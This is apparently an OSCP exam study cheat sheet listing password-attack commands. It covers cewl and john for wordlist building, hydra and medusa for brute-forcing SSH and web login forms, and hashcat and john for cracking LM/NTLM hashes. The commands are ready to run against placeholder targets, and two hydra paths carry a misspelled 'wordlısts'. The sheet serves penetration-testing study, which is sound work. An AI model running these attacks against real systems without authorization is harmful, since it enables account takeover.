OSCP
Search…
Password Crack
​
1
Cewl
2
cewl http://<targetip>/ -m 6 -w cewl.txt
3
wc -l cewl.txt
4
john --wordlist=cewl.txt --rules --stdout > mutated.txt
5
wc mutated.txt
6
medusa -h <targetip> -u admin -P mutated.txt -M http -n 80 -m DIR:/directory/to/login/panel -T 30
7
​
8
-----------------------------------
9
​
10
Hydra
11
​
12
hydra -l root -P /usr/share/wordlısts/rockyou.txt <targetip> ssh
13
hydra -L userlist.txt -P /usr/share/wordlısts/rockyou.txt <targetip> -s 22 ssh -V
14
​
15
# crack web passwords
16
http-post-form can change as user module changes
17
Invalid: what message does the page give for wrong creds
18
for parameters check with burp
19
​
20
hydra -l admin -P /usr/share/seclists/Passwords/10k_most_common.txt <targetip> http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64
21
​
22
-----------------------------------
23
​
24
Medusa
25
medusa -h <targetip> -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/test -T 10
26
​
27
-----------------------------------
28
​
29
Hashcat
30
​
31
# learn the hash type from hashcat.net example hashes page and pass as its m value
32
# or you can learn with the following command
33
hashcat -h | grep -i lm
34
hashcat -m 1600 hashes /usr/share/wordlists/rockyou.txt
35
​
36
-----------------------------------
37
​
38
LM/NTLM
39
hashcat -h | grep -i lm
40
hashcat -m 3000 hashes --rules --wordlist=/usr/share/wordlists/rockyou.txt
41
​
42
https://hashkiller.co.uk/
43
​
44
------------------------------------------
45
​
46
When you find some digits, check if it's 32 bit
47
echo -n ....... | wc -c
48
​
49
------------------------------------------
50
John
51
john hashes.txt --rules --wordlist=/usr/share/wordlists/rockyou.txt
52
​
53
​
Copied!
Last modified 2yr ago
Copy link